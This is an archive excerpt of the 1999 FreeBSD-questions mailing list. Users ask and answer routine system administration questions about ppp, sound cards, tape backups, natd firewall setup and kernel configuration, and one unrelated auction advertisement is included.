Cc: "questions@FreeBSD.ORG" <questions@FreeBSD.ORG>
Subject: isp serial connection
References: <199903221619.QAA12804@keep.lan.Awfulhak.org>
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Based on the evidence that I see, i.e., the response to command input to ppp, I
think that it is possible that userppp is not automatically switching to packet
mode.
I have a minimal default: segment in  ''ppp.conf'' after entering the command
''term'' I atdt dial , then manually enter user name and password. After which I
receive a string of garbage. The response time after sending the password doesn't
seem to be sufficient for me to enter ''~p'' .  How can I eliminate the possibility
of a failure to switch to ppp packet mode on my out of the box (4 cd set) 2.2.8? |-(
,,,



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From owner-freebsd-questions  Thu Mar 25 11:59:34 1999
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	(envelope-from jamesf@loi.com)
From: jamesf@loi.com
To: questions@FreeBSD.ORG
Subject: Corporate Surplus Auction - (HP/SUN/CISCO/IBM)
Message-Id: <19990325195932.DF5E114F77@hub.freebsd.org>
Date: Thu, 25 Mar 1999 11:59:32 -0800 (PST)
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Asset Auction Online is a new exchange service for US and CANADIAN Corporations disposing of electronic assets (Computers-Networking-Telecom) that may be of interest to you. Structured as an "auction" site, AAO auctions your goods, packs the equipment (20lbs to 3 TONS), collects the funds for you, and ships to the winning bidder.

Bidders find AAO a place to buy prime corporate excess (Bell Atlantic, MCI, etc.) at fantastic prices.

SUN/HP Servers, Cisco, Compaq Deskpro's, and large Lots of SCSI drives  now being auctioned.

http://www.assetauction.com/


Note: this is a one time mailing and will not be repeated - so if you think our service may be of interest to you or your company in the future please bookmark the above site. The AAO team. ___________________________________________________________




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From owner-freebsd-questions  Thu Mar 25 12:15:42 1999
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From: Rich Winkel <rich@chumbly.math.missouri.edu>
Message-Id: <199903252015.OAA25997@chumbly.math.missouri.edu>
Subject: Staying behind
To: freebsd-questions@freebsd.org
Date: Thu, 25 Mar 1999 14:15:18 -0600 (CST)
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I've gone through several major releases of freebsd now, and find that
I still have a number of files lying around from previous versions.
(like dumplfs, mount_lfs, newlfs in /sbin)
It would be handy if each major release comes with a list of the
files from the previous release which have been phased out.
How do other people deal with this?

Thanks,
Rich



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From owner-freebsd-questions  Thu Mar 25 12:23:15 1999
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Date: Thu, 25 Mar 1999 15:21:58 -0000 (GMT)
From: Patrick Gardella <patrick@cre8tivegroup.com>
To: Rich Winkel <rich@chumbly.math.missouri.edu>
Subject: RE: Staying behind
Cc: freebsd-questions@FreeBSD.ORG
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On 25-Mar-99 Rich Winkel wrote:
> I've gone through several major releases of freebsd now, and find
> that
> I still have a number of files lying around from previous versions.
> (like dumplfs, mount_lfs, newlfs in /sbin)
> It would be handy if each major release comes with a list of the
> files from the previous release which have been phased out.
> How do other people deal with this?

I just ignore them!  But others have suggested the following:

---------
On Sun, 19 Apr 1998, Ugo Paternostro wrote:

> Is there a way to detect obsolete files/shared libs after a make
> world other than manually scanning the directories looking for files
> that do not match the make world date?

There is a very nice script in
/usr/src/tools/LibraryReport/LibraryReport.tcl  
that does this. I do not know if this script is available under
-stable, but it is here on -current.
----

I've not tried it, but it makes sense.

Patrick

---
Patrick S. Gardella                    Director of Web Development 
The Creative Group    1-800-804-0783 ext 29     606-858-8029 (fax)    
http://www.cre8tivegroup.com                 PGP Key ID 0xEE2D47A9


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From owner-freebsd-questions  Thu Mar 25 12:31: 2 1999
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Date: Thu, 25 Mar 1999 15:30:39 -0500 (EST)
From: Anup Talukdar <talukdar@local-motion.rutgers.edu>
Message-Id: <199903252030.PAA18347@local-motion.rutgers.edu>
To: freeBSD-questions@freebsd.org
Subject: Soundcard problem in Dell laptop
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Hi,

	I am trying to use the soundcard in my laptop. I have the 
following setup :


	Dell Latitude XPi P133ST laptop with the following
	audio specifications :

		Audio type : Soundblaster Pro-compatible 3.01
		Audio controller : ES1888

		According to the Dell reference guide, the default
		resource settings are :

			DMA channel : 1
			IRQ line : 5
			Port address : 220h

However, if I use Port address 220h for device sb0, the device is not
detected.

If the Kernel configuration file I have include the following 
lines :

	controller      snd0

	device sb0      at isa? port 0x230 irq 5 drq 1 vector sbintr 
	device sbxvi0   at isa? drq 5
	device sbmidi0  at isa? port 0x300      

After making and installing the new kernel, I get the following messages
when rebooting the machine :

	sb0 at 0x230 irq 5 drq 1 on isa
	sb0: <Soundblaster Pro 3.1>
	sbxvi0 not found
	sbmidi0 not found at 0x300

After this, I tried to play an audio file by executing :

 "cat danube.au > /dev/audio"

It returns the following error messages :

>Sound: DMA timed out - IRQ/DRQ config error?
>SoundBlaster: DSP Command(40) Timeout.
>IRQ conflict???


It will be of great help if anyone can inform what I am doing wrong here
and what will be the apprpriate IRQ/DRQ settings for the above 
configuration.

Since I don't subscribe to this mailing list, I will appreciate
if the responses are sent directly to my e-mail address :

	talukdar@paul.rutgers.edu

Thank you,
Regards,
Anup



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From owner-freebsd-questions  Thu Mar 25 12:41: 7 1999
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Date: Thu, 25 Mar 1999 22:40:40 +0000 (GMT)
From: Evren Yurtesen <yurtesen@tbd.ispro.net.tr>
To: freebsd-questions@freebsd.org
Subject: anybody tried Symbios 53C876 ???
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hello, 
has anybody tried the intel n440bx board with
symbios logic 53C876 scsi controller on board?
Evren
thanks



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From owner-freebsd-questions  Thu Mar 25 12:57:12 1999
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On Thu, 25 Mar 1999, Gunnar Flygt wrote:

> The configuration looks for the gtk-config in /usr/local/bin Make a link
> there to /usr/X11R6/bin/gtk12-config
> 

Thanks, but it didn't work. I'm reinstalled glib-1.2.0 and I still get the
undefined reference to "localtime_r" in libglib12.so. I'm going to try
fetching it again.

Mark Bermal




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From owner-freebsd-questions  Thu Mar 25 13: 3: 9 1999
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	Thu, 25 Mar 1999 13:02:46 -0800 (PST)
Date: Thu, 25 Mar 1999 13:02:46 -0800 (PST)
From: Jesse <j@lumiere.net>
To: freebsd-questions@freebsd.org
Subject: 3.1-STABLE dies on 40+ connects 
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Hi,

I'm running a server on FreeBSD-STABLE, about a week since the last make
world.

I was doing some stress testing with the icecast server (icecast.org)
which is an open replacement for Nullsoft's shoutcast server. It comes
with a stresstest app which opens a bunch of connections to the server.

I found that when I opened 40 connections to the server (localhost), the
machine crashed. The icecast server is running as a normal user. I haven't
been able to get to the console yet so I don't know if there's more info
there. I'll be investigating that shortly. 

At first I thought, okay, maybe a bug in the loopback driver. So I tried
it from another machine on the network. Same result. 

Just to make sure it wasn't something specific to the icecast server, I
enabled chargen in /etc/inetd.conf and did another stress test over the
network. It survived 40 connections, so I tried 100. It was fine. I tried
200 and the server crashed.

It seems like the server crashed when it receives many connections that
require a high amount of data be sent back (icecast, which is mp3 streams
or chargen).

Anyone have any idea what's going on? I really hate to think that my
server can be crashed this easily. I did similar stress testing with the
icecast server on my laptop, running Linux 2.0.36 and it accepted 300
connections (vs. less than 40) without a problem. If Linux can do it, I
know FreeBSD can.

Hope someone has some ideas. Thanks in advance.

---
Jesse <j@lumiere.net>
http://www.lumiere.net/




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From owner-freebsd-questions  Thu Mar 25 13: 5:28 1999
Delivered-To: freebsd-questions@freebsd.org
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	by hub.freebsd.org (Postfix) with SMTP id 7E9BC1511D
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	(envelope-from gjb@comkey.com.au)
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X-Posted-By: GBA-Post 1.04 06-Feb-1999
X-PGP-Fingerprint: 5A91 6942 8CEA 9DAB B95B  C249 1CE1 493B 2B5A CE30
Date: Fri, 26 Mar 1999 07:03:42 +1000
From: Greg Black <gjb@comkey.com.au>
To: Shawn Ramsey <shawn@cpl.net>
Cc: questions@FreeBSD.ORG
Subject: Re: BSDI compatibility 
References: <19990324135152.C14337@cpl.net> 
In-reply-to: <19990324135152.C14337@cpl.net> 
    of Wed, 24 Mar 1999 13:51:52 PST
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> Im trying to run the Merit AAA server, and get the following error :
> 
> ELF interpreter /shlib/ld-bsdi.so not found
> 
> Looking on a BSDI 3.0 machine, there is no file by that name.

For starters, BSDI did not have ELF in 3.x releases.

-- 
Greg Black <gjb@acm.org>



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From owner-freebsd-questions  Thu Mar 25 13: 5:29 1999
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Date: Fri, 26 Mar 1999 06:55:25 +1000
From: Greg Black <gjb@comkey.com.au>
To: "Ray Seals" <rayseals@midwestis.com>
Cc: "Freebsd-Questions" <freebsd-questions@FreeBSD.ORG>
Subject: Re: Dump and Tape Density Settings 
References: <000701be76e8$1e147520$0a021eac@rseals.midwestis.com> 
In-reply-to: <000701be76e8$1e147520$0a021eac@rseals.midwestis.com> 
    of Thu, 25 Mar 1999 11:51:31 CST
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> dump 0nuf /dev/nrst0 /
> 
> DUMP: Date of this level 0 dump: Thu Mar 25 11:24:21 1999
>   DUMP: Date of last level 0 dump: the epoch
>   DUMP: Dumping /dev/rwd0a (/) to /dev/nrst0
>   DUMP: mapping (Pass I) [regular files]
>   DUMP: mapping (Pass II) [directories]
>   DUMP: estimated 328337 tape blocks on 8.44 tape(s).
>   DUMP: dumping (Pass III) [directories]
> 
> Then in a minute or so, it asks for another tape.
> 
> I know this is due to the tape density or block size settings for my backup
> script or is it possible that my tape is not formatted correctly?  These
> were not new tapes when I got them.  Can anyone explain or show me were I
> can read some more about this?

Try the `a' flag to dump; if that fails with your hardware, then
use the `B' flag.  The man page for dump explains these.

-- 
Greg Black <gjb@acm.org>



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From owner-freebsd-questions  Thu Mar 25 13: 5:34 1999
Delivered-To: freebsd-questions@freebsd.org
Received: from alpha.comkey.com.au (alpha.comkey.com.au [203.9.152.215])
	by hub.freebsd.org (Postfix) with SMTP id CAA811543A
	for <freebsd-questions@FreeBSD.ORG>; Thu, 25 Mar 1999 13:05:30 -0800 (PST)
	(envelope-from gjb@comkey.com.au)
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Date: Fri, 26 Mar 1999 06:57:35 +1000
From: Greg Black <gjb@comkey.com.au>
To: Bob Willcox <bob@pmr.com>
Cc: questions list <freebsd-questions@FreeBSD.ORG>
Subject: Re: Poor performance with /usr/sbin/rmt 
References: <19990325081812.B79811@luke.pmr.com> 
In-reply-to: <19990325081812.B79811@luke.pmr.com> 
    of Thu, 25 Mar 1999 08:18:12 CST
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> Should I simply give up on rdump and stick to the rsh
> approach?

Yes.

-- 
Greg Black <gjb@acm.org>



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From owner-freebsd-questions  Thu Mar 25 13:27:52 1999
Delivered-To: freebsd-questions@freebsd.org
Received: from scientia.demon.co.uk (scientia.demon.co.uk [212.228.14.13])
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Date: Thu, 25 Mar 1999 18:44:31 +0000
From: Ben Smithurst <ben@scientia.demon.co.uk>
To: Langa Kentane - MWeb <LKentane@mweb.com>
Cc: freebsd-questions@freebsd.org
Subject: Re: Pop3 commands
Message-ID: <19990325184431.C1009@scientia.demon.co.uk>
References: <913B8C252194D2119BD500805F31817897069A@za12nt02.mweb.com>
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Langa Kentane - MWeb wrote:

> Where can I get a complete listing of all the pop3 & smtp commands
> what a brief explanation of what they do.

In the appropriate RFC. SMTP is defined in RFC 821 (RFC 822 is also
useful), POP3 is defined in RFCs 1939 and 1957. Download them from
your nearest RFC mirror, if you don't know the address of one,
ftp://sunsite.doc.ic.ac.uk/rfc/ is one example.

-- 
Ben Smithurst
ben@scientia.demon.co.uk

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From owner-freebsd-questions  Thu Mar 25 13:28:10 1999
Delivered-To: freebsd-questions@freebsd.org
Received: from luke.cpl.net (luke.cpl.net [209.150.92.68])
	by hub.freebsd.org (Postfix) with ESMTP id 469A014FF9
	for <questions@FreeBSD.ORG>; Thu, 25 Mar 1999 13:28:08 -0800 (PST)
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	Thu, 25 Mar 1999 13:28:38 -0800 (PST)
Message-ID: <19990325132838.C15916@cpl.net>
Date: Thu, 25 Mar 1999 13:28:38 -0800
From: Shawn Ramsey <shawn@cpl.net>
To: Greg Black <gjb@comkey.com.au>
Cc: questions@FreeBSD.ORG
Subject: Re: BSDI compatibility
References: <19990324135152.C14337@cpl.net> <19990325210343.29735.qmail@alpha.comkey.com.au>
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> > Im trying to run the Merit AAA server, and get the following error :
> > 
> > ELF interpreter /shlib/ld-bsdi.so not found
> > 
> > Looking on a BSDI 3.0 machine, there is no file by that name.
> 
> For starters, BSDI did not have ELF in 3.x releases.

Well, forget this thread. :) I did not notice at first there was another src
dist. that compiles out of the box for FreeBSD.

 



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From owner-freebsd-questions  Thu Mar 25 13:28:42 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Thu, 25 Mar 1999 18:39:19 +0000
From: Ben Smithurst <ben@scientia.demon.co.uk>
To: Mark Tinguely <tinguely@plains.NoDak.edu>
Cc: questions@FreeBSD.ORG, thefett@negativemass.com
Subject: Re: Changing the IP address on a FreeBSD machine?
Message-ID: <19990325183919.A1009@scientia.demon.co.uk>
References: <199903251524.JAA10186@plains.NoDak.edu>
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Mark Tinguely wrote:

> if you are running a desktop machine, it is easier to change the address
> in the ifconfig_XX# line of the file /etc/rc.conf (2.2.X) or
> /etc/defaults/rc.conf (3.X) and reboot, but that may not be an option
> for those running servers.

You should not change anything in /etc/defaults, as I understand
it, hence the name.  Settings in that file can be overridden from
/etc/rc.conf, which is the Right Thing to do.

-- 
Ben Smithurst
ben@scientia.demon.co.uk

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From owner-freebsd-questions  Thu Mar 25 13:28:44 1999
Delivered-To: freebsd-questions@freebsd.org
Received: from scientia.demon.co.uk (scientia.demon.co.uk [212.228.14.13])
	by hub.freebsd.org (Postfix) with ESMTP id 4E6E8155A6
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Date: Thu, 25 Mar 1999 18:41:24 +0000
From: Ben Smithurst <ben@scientia.demon.co.uk>
To: loren <lore@phile.com.au>
Cc: freebsd-questions@Freebsd.org
Subject: Re: Duplicate mail
Message-ID: <19990325184124.B1009@scientia.demon.co.uk>
References: <199903252005.3931446.6@names.phile.com.au>
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loren wrote:

> I *really* hope I'm not duplicating a question that has been fielded
> here before.

You are. :-(

> If I have asked this in the wrong forum, please tell me to whom I
> should direct the question to get it answered (because I really don't
> think it's my mail server).

The right person would be postmaster@freebsd.org, but he already knows
about it, so don't bother. What you can do is send the headers from a
duplicated pair to duplicates@freebsd.org.

-- 
Ben Smithurst
ben@scientia.demon.co.uk

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From owner-freebsd-questions  Thu Mar 25 13:38:15 1999
Delivered-To: freebsd-questions@freebsd.org
Received: from random.ti.cz (unknown [195.70.142.5])
	by hub.freebsd.org (Postfix) with SMTP id CA81315031
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Received: (qmail 29715 invoked by uid 1000); 25 Mar 1999 21:37:41 -0000
Message-ID: <19990325213741.29714.qmail@random.ti.cz>
From: pgl@ti.cz
Subject: Hot Swappable Drives in FreeBSD
To: questions@freebsd.org
Date: Thu, 25 Mar 1999 22:37:41 +0100 (CET)
Reply-To: pgl@ti.cz
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Hi,

I've been asked to evaluate an HP Netserver LC3 by my company, and I
want to put FreeBSD on it.

I can install it fine off of the floppies, but when I reboot, I get
"Read error" on the screen - not even the bit where you can choose a
kernel. I'm guessing this is something to do with the boot loader not
being installed properly. The drive it's using is a 9Gb SCSI supplied
by HP, and it's hot-swappable, ie I'm supposed to be able to take it
out and replace it whenever I like and the machine won't fail. There's
only one drive in there at the moment. When installing, it gets
recognised as da0.

Am I doing something wrong? I've been trying to get round this for
ages, and I can't find anything online about it (maybe I'm looking
in the wrong places?). Does anyone have any experience with this, or
can anyone tell me what to do? Am I just missing something obvious?
Do I need to have a fixed drive too boot off?

Thanks for your help.

-- 
Peter Lowe
System Administrator, Telenor Internet
www.ti.cz -- pgl@ti.cz


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From owner-freebsd-questions  Thu Mar 25 13:45: 8 1999
Delivered-To: freebsd-questions@freebsd.org
Received: from hole.noc.iafrica.com (hole.noc.iafrica.com [196.31.1.191])
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Date: Thu, 25 Mar 1999 23:44:31 +0200 (SAT)
From: Rob Hunter <hunterr@iafrica.com>
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Reply-To: Rob Hunter <hunterr@iafrica.com>
To: freebsd-questions@freebsd.org
Subject: interrupt-level buffer overflows
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Hi

I'm getting these messages more and more:

/kernel: sio1: 39 more interrupt-level buffer overflows (total 39)

I searched the archives, and found quite a few similar problems. At first
I thought it might have something to do with sio1 itself, as all the
previously reported problems were when people were either transferring
large amounts of data across a ppp link with a modem, or were problems
with a mouse.

Admittedly, most of mine have been experienced when doing (not very) large
ftp's. But I also get these errors during other times, when the modem is
pretty inactive, but while transferring files from 1 drive to another.

I'm running 3.1-RELEASE on a Pentium 166mmx, with 64mb of ram and 2 3.1
gig IDE drives.

My dmesg shows the following:

sio1 at 0x2f8-0x2ff irq 3 on isa
sio1: type 16550A

I have a USR Courier V.everything connected to com 2 across an analogue
leased line (only connecting at 26,600)

Any suggestions would be appreciated.

--Rob



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From owner-freebsd-questions  Thu Mar 25 13:45:22 1999
Delivered-To: freebsd-questions@freebsd.org
Received: from mail.cinternet.net (mail.cinternet.net [206.112.217.12])
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	for <freebsd-questions@freebsd.org>; Thu, 25 Mar 1999 13:45:18 -0800 (PST)
	(envelope-from soren@mail.cinternet.net)
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Message-ID: <19990325164459.A21430@cinternet.net>
Date: Thu, 25 Mar 1999 16:44:59 -0500
From: Soren Harward <soren@cinternet.net>
To: freebsd-questions@freebsd.org
Subject: EIDE/ATAPI tape drive support
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On boot, the kernel finds my Seagate EIDE tape drive, but I can't seem
to get to to work:

wdc1 at 0x170-0x177 irq 15 on isa
wdc1: unit 0 (atapi): <Seagate STT8000A/5.02>, removable, accel, dma, iordis
wdc1: ATAPI streaming tapes not configured

It appears I've forgotten some option in the kernel, but the Handbook
doesn't have anything about an "ATAPI streaming tapes" option.  Is
this drive supported under 3.1?  How can I get it to work?

-- 
 Soren Harward <soren@cinternet.net> | Windows DOES come with a tool
 http://www.soren.cinternet.net/     | to restore a corrupt Registry.
 Internet Information Systems Admin  |
 Cinternet, Inc.  (513) 891-1228     | It's called FDISK.


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From owner-freebsd-questions  Thu Mar 25 14:16:23 1999
Delivered-To: freebsd-questions@freebsd.org
Received: from nefertiti.lightningweb.com (nefertiti.lightningweb.com [198.68.191.157])
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Date: Thu, 25 Mar 1999 14:18:17 -0800 (PST)
From: Keith Woodman <keith@lightningweb.com>
To: freebsd-questions@freebsd.org
Subject: kernel file
Message-ID: <Pine.BSF.3.96.990325140313.19669A-100000@nefertiti.lightningweb.com>
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I am going to be doing a fresh install of 3.1 after much agony trying to
do a source upgrade. I am curious if I can simply take the kernel config
file I have now in 3.0 and use it as my config in 3.1 or if there have
been to many changes in LINT etc to be able to do this.
I am running SMP if that makes a difference at all in the question.
Also, does -stable ever get released onto CD or is that to often updated
to release on CD? I don't want to have to do an upgrade on the system for
a while and am hoping that 3.1-RELEASE is stable enough to not need
updating in the near future. 2.2.5 while we were running it, was a real
work horse for a long time and would hope 3.1 could serve the same.
Thank you. 
Keith


	----------------------------------------------------------------------

	Keith Woodman					Technical Coordinator 
	Keith@lightningweb.com				Lightningweb LLC


	      pid 7962 (sniffit), uid 0: exited on signal 10 (core dumped)
	----------------------------------------------------------------------



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From owner-freebsd-questions  Thu Mar 25 14:23:48 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Thu, 25 Mar 1999 17:25:11 -0500
From: "Michael E. Mercer" <mmercer@ipass.net>
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Subject: DVD player for my new computer...
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Hello all,

I just recently bought a new computer, I made sure all
the parts were compatable with FreeBSD...However my question
here is the DVD player..I hear ya need special software to
view DVD's...is there any such needed with FreeBSD and where
if any could I get it...

Thanks in advance,
Michael Mercer


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From owner-freebsd-questions  Thu Mar 25 14:34:31 1999
Delivered-To: freebsd-questions@freebsd.org
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Message-ID: <36FAB9CE.3B6544E@csuchico.edu>
Date: Thu, 25 Mar 1999 14:33:50 -0800
From: Fred Condo <fcondo@csuchico.edu>
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Subject: fsck won't clear dirty bit; pr 6794
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Problem report 6794 says:

> After a system crash where the root file system needs to be
> recovered, mount refuses to remount the root file system,
> claiming it is not clean.  A second fsck finds no problems.
> After rebooting, the file system is found to be clean and can
> be mounted without problems.

I have a system running FreeBSD 2.2.6 that is exhibiting what I think is
this problem, but the file system is not showing up clean. Should I 1)
mount -fav in single-user mode, then enter multi-user mode, 2) do a cold
restart, or 3) panic?

Many thanks for any assistance. Apologies to Greg Lehey for emailing him
before reading his web site.
-- 
Fred Condo + fcondo@csuchico.edu + http://webclass.csuchico.edu/
fredcondo@acm.org                +      fredcondo on Yahoo Pager


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From owner-freebsd-questions  Thu Mar 25 15: 5:30 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Thu, 25 Mar 1999 17:04:20 -0600
From: bob olbrich <rjob@gulftel.com>
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Hello,

I've downloaded a minimal installation and I'd like to know
what to do next (I'm new to UNIX, and the book I have does not 
discuss this thoroughly).
Do I mount something at this point? Using F2 at boot time does not
do anything.

Second, if I do a custom installation can I stop it at some point and
restart it later without losing any information?

Thanks,
Bob Olbrich   rjob@gulftel.com



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From owner-freebsd-questions  Thu Mar 25 15: 9: 4 1999
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From: "Dave Walton" <walton@emusic.com>
Organization: Emusic
To: Dave Hummel <dnh@pce.net>, questions@freebsd.org
Date: Thu, 25 Mar 1999 15:08:40 -0800
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Subject: Re: Starting a FreeBSD-related project
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On 25 Mar 99, at 10:10, Dave Hummel wrote:

> I'd like to create a FreeBSD mail application that would replace our
> current Netscape products (Messaging Server using ldap from Directory
> Server running on Solaris). This will be opensource with FreeBSD users in
> mind first. 
> 
> The plan now is to use sendmail, Cyprus, and openldap to create a basic
> ldap-enabled mail system which will eventually be wrapped with SSL (all
> with a spiffy interface of course).  (Has this been done already?) 

Check out IMP (http://web.horde.org/imp/).  I works fine with cyrus, 
has some ldap support, and doesn't require sendmail (which is 
great for those of us running qmail).  I don't know if it does 
everything you need, but it might be a good starting point.

Dave


----------------------------------------------------------------------
Dave Walton                                                           
Webmaster, Postmaster                                           Emusic
walton@emusic.com                                http://www.emusic.com
----------------------------------------------------------------------


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From owner-freebsd-questions  Thu Mar 25 15:34:11 1999
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Date: Thu, 25 Mar 1999 17:34:22 -0600
From: Jonathan Passki <jonathan.passki@neicoltech.org>
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Who should I send this to?  The FreeBSD daemon is being misused on
http://www.angelfire.com/mn/yupsure

cykyc



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From owner-freebsd-questions  Thu Mar 25 15:35:55 1999
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Date: Thu, 25 Mar 1999 18:35:28 -0500 (EST)
From: "Julian C. Dunn" <jdunn@ophelia.aquezada.com>
To: freebsd-questions@freebsd.org
Subject: Re: x11 forwarding doesn't work: SOLVED!
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Thanks to everyone who helped me with the X11 forwarding problem with ssh.
I noticed that in the second compilation, that X support wasn't getting
compiled in, on account of the fact that I'd never installed the X11
header files (i.e. ./configure tests for <X11/Intrinsic.h>, etc)

- Julian

--
Julian C. Dunn <jdunn@ophelia.aquezada.com>
IEEE Student Branch, Systems Administrator



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From owner-freebsd-questions  Thu Mar 25 15:37:43 1999
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Date: Fri, 26 Mar 1999 10:07:08 +1030
From: Greg Lehey <grog@lemis.com>
To: Jonathan Passki <jonathan.passki@neicoltech.org>,
	freebsd-questions@FreeBSD.ORG
Cc: Kirk McKusick <mckusick@mckusick.com>
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On Thursday, 25 March 1999 at 17:34:22 -0600, Jonathan Passki wrote:
> Who should I send this to?  The FreeBSD daemon is being misused on
> http://www.angelfire.com/mn/yupsure

Send mail to Kirk McKusick <mckusick@mckusick.com>.

Greg
--
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From owner-freebsd-questions  Thu Mar 25 15:39:54 1999
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Subject: Re: 3.1-STABLE dies on 40+ connects (resolved)
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Thanks to the folsk in freebsd-hackers and -net, I was able to solve this
fairly quickly.

icecast was enlarging the send buffer. This would cause the mbuf usage to
grow exponentially and crash the machine (it really shouldn't crash..
grr). I contacted the developers and it was an easy modification (#undef
SOCKET_OPERATIONS) to leave the send buffers at the default 16k.
Everything is kosher now and I can accept 121+ connections easily.

Oh yeah. Raising NMBCLUSTERS to 4096 helped a lot.

---
Jesse <j@lumiere.net>
http://www.lumiere.net/



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From owner-freebsd-questions  Thu Mar 25 15:52:47 1999
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Cc: Brian Somers <brian@Awfulhak.org>,
	"questions@FreeBSD.ORG" <questions@FreeBSD.ORG>
Subject: Re: isp serial connection 
In-reply-to: Your message of "Thu, 25 Mar 1999 14:32:13 EST."
             <36FA8F3D.A30C06C4@castle.net> 
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> Based on the evidence that I see, i.e., the response to command input to ppp, I
> think that it is possible that userppp is not automatically switching to packet
> mode.
> I have a minimal default: segment in  ''ppp.conf'' after entering the command
> ''term'' I atdt dial , then manually enter user name and password. After which I
> receive a string of garbage. The response time after sending the password doesn't
> seem to be sufficient for me to enter ''~p'' .  How can I eliminate the possibility
> of a failure to switch to ppp packet mode on my out of the box (4 cd set) 2.2.8? |-(
> ,,,

Can you enable async logging and send me a copy of the initial data 
that should be recognised by ppp ?

Ppp currently recognises the following sequences (from hdlc.c):

  "\176\377\003\300\041",
  "\176\377\175\043\300\041",
  "\176\177\175\043\100\041",
  "\176\175\337\175\043\300\041",
  "\176\175\137\175\043\100\041",

Cheers.

-- 
Brian <brian@Awfulhak.org> <brian@FreeBSD.org> <brian@OpenBSD.org>
      <http://www.Awfulhak.org>
Don't _EVER_ lose your sense of humour !




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From owner-freebsd-questions  Thu Mar 25 16: 6: 7 1999
Delivered-To: freebsd-questions@freebsd.org
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To: freebsd-questions@FreeBSD.ORG
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Date: Thu, 25 Mar 1999 16:05:39 PST
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I tried to see the configuration details of the servers used at 
FreeBSD.org but that link seems to not be working.

I am planning to build and develop an internet server and I want to use 
FreeBSD as my operating system platform. Could you please give me a 
brief explanation on how the process of setting up an internet server 
from start to finish (point form please). In addition, what type of 
hardware should I be using or do you recomend?

Thank you for your time and consideration.

Ian Leemhuis
"Orbit Mutual Funds"
Get Your Private, Free Email at http://www.hotmail.com


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From owner-freebsd-questions  Thu Mar 25 16:12:25 1999
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Date: Thu, 25 Mar 1999 16:11:43 -0800
To: ari <ari@suutari.iki.fi>
From: tront@cs.sfu.ca
Subject: Re: natd
Cc: jonc@pinnacle.co.nz, freebsd-questions@FreeBSD.ORG
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At 09:44 AM 3/25/99 +0200, ari wrote:
>tront@cs.sfu.ca wrote:
>> 
>> Hi Ari, I am a university instructor of a network admin course that has
>> been using freebsd unix for 2 years.  We are trying natd for the first time
>> on freebsd 2.2.7.  And after checking all available documentation we are
>> stumped as to why we can't even ping from the gateway to a public network
>> machine while natd is running.
>> We have followed the instructions on the man page exactly!
>> We can ping from the internal machine to the gateway and visa versa.  But
>> not through the gateway to the public network.  And more interestingly, not
>> even from the gateway machine to the public network (one hop!).  When we
>> kill natd and remove the divert firewall rule, ping is successful in all
>> ways, including relay through the gateway, so the connectivity and routing
>> is good.
>> 
>> The divert rule firewall timestamp is showing that it is being used at the
>> time we attempt to pings, so the firewall is running.  And the firewall
>> only has the specified 2 rules plus the final 65535 deny rule.   Also, we
>> found that running natd in verbose mode generated no error messages.  And
>> running in log mode didn't seem to generate any log in alias.log.
>> 
>> We have spent hours on this, and are beginning to disagree with the man
>> page that states "Running natd is fairly straight forward".  Can you give
>> us another pointer or two on where to look for some error in our setup.

>	One common mistake is to run natd on wrong interface. You are supposed
>	to run it on the interface that is connected to public network.
No, that isn't the problem.

>	If you can send a little bit more details about your setup 
>	(interface names, addresses etc.) I can try to help you out.

I have attached a dump of all kinds of useful information verifying my set
up according to the 'running natd' part of the man page.  I hope this helps.
I have some things you might want to worry about:
1) in our lab, the outside public network has one of the 'test' network
addresses 172.16/16.  It there a chance that natd will refuse to forward to
such a public network?
2) the address we are pinging is on the same network as the gateway's
public address (i.e. direction connection one hop).
3) because of 2) above, we do not have a specific or default route for the
ping's destination.  A route is in the routing table for that network by
virtue of the interface being brought up.
4) we are not putting any natd commands in a file, assumably everything
that is needed can be typed into the command line.

Here is the results of what my student dumped.  172.16/16 is the public
network.  172.17/16 is the inside network.  172.16.1.6 is ed0, the public
interface of the gateway.  Any help would be appreciated.

Russ Tront, Instructor, School of Computing Science, SFU.  

----------------------------------------------------------------------------
----------------------------------
Script started on Wed Mar 24 22:44:56 1999
You have mail.
fall.net1.cs{root}:cd /usr/src/sys/i386/conf

fall.net1.cs{root}:ls
FALL		LINT		PCCARD		files.i386	options.i386
GENERIC		Makefile.i386	devices.i386	majors.i386

fall.net1.cs{root}:fgrep IPFIRTEWALL FALL
options		IPFIREWALL
options		IPFIREWALL_VERBOSE

fall.net1.cs{root}:fgrep IPDIVERT FALL
options		IPDIVERT	$ Divert sockets

fall.net1.cs{root}:cd /etc

fall.net1.cs{root}:fgrep gateway rc.conf
defaultrouter="NO"              # Set to default gateway (or NO).
gateway_enable="YES"            # Set to YES if this host will be a gateway.
ipxgateway_enable="NO"          # Set to YES to enable IPX routing.
forward_sourceroute="NO"        # do source routing (only if gateway_enable
is set to "YES")

fall.net1.cs{root}:fgrep firewall rc.conf
firewall_enable="YES"           # Set to YES to enable firewall functionality
firewall_type="open"            # Firewall type (see /etc/rc.firewall)
firewall_quiet="NO"             # Set to YES to suppress rule display
natd_enable="NO"                # Enable natd if firewall_enable.

fall.net1.cs{root}:fgrep natd rc.conf
natd_enable="NO"                # Enable natd if firewall_enable.
natd_interface="fxp0"           # Public interface to use with natd if
natd_enable.
natd_flags=""                   # Additional flags for natd.

fall.net1.cs{root}:fgrep natd services
natd            8668/divert #Network Address Translation

fall.net1.cs{root}:ipfw -t list
00100                          allow ip from any to any via lo0
00200                          deny ip from any to 127.0.0.0/8
65000 Wed Mar 24 22:46:05 1999 allow ip from any to any
65535                          deny ip from any to any

fall.net1.cs{root}:ipfw -f flush
Flushed all rules.

fall.net1.cs{root}:ipfw add divert natd all from any to any via ed0
00000 divert 8668 ip from any to any via ed0

fall.net1.cs{root}:ipfw add pass all from any to any
00000 allow ip from any to any

fall.net1.cs{root}:netstat -nr
Routing tables

Internet:
Destination        Gateway            Flags     Refs     Use     Netif Expire
127.0.0.1          127.0.0.1          UH          0        0       lo0
172.16             link#1             UC          0        0 
172.18             link#2             UC          0        0 

fall.net1.cs{root}:netstat -i
Name  Mtu   Network       Address            Ipkts Ierrs    Opkts Oerrs  Coll
ed0   1500  <Link>      00.40.95.76.90.4b        5     0        1     0     0
ed0   1500  172.16        fall                   5     0        1     0     0
ed1   1500  <Link>      00.40.95.76.e4.d1        0     0        1     0     0
ed1   1500  172.18        fall.net3.cs           0     0        1     0     0
lp0*  1500  <Link>                               0     0        0     0     0
tun0* 1500  <Link>                               0     0        0     0     0
